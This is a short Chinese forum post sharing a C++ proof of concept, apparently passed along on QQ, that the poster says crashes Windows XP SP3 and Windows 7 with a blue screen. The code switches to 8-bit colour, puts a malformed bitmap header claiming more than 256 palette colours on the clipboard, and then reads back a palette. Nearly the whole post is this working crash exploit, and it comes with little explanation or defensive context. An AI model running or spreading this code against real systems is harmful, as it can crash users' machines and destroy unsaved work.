|
很久以前某网友在QQ上给我的,不知道现在修复了没有。。。
经我测试,可以在Windows XP SP3和Windows 7 x86/x64 RTM上引发蓝屏。。。
- #include <windows.h>
- #define CF_DIBV5 17
- int main()
- {
- DEVMODE dm = {0};
- dm.dmSize = sizeof(DEVMODE);
- dm.dmBitsPerPel = 8;
- dm.dmPelsWidth = 800;
- dm.dmPelsHeight = 600;
- dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
- ChangeDisplaySettings(&dm, 0);
- BITMAPINFOHEADER bmih = {0};
- bmih.biClrUsed = 0x200;//超过256
- HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
- memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
- GlobalUnlock(h);
- ::OpenClipboard(NULL);
- ::SetClipboardData(CF_DIBV5, (HANDLE)h);
- ::CloseClipboard();
- ::OpenClipboard(NULL);
- ::GetClipboardData(CF_PALETTE);
- return 0;
- }
复制代码 IDE是Code::Blocks 10.05。 |
|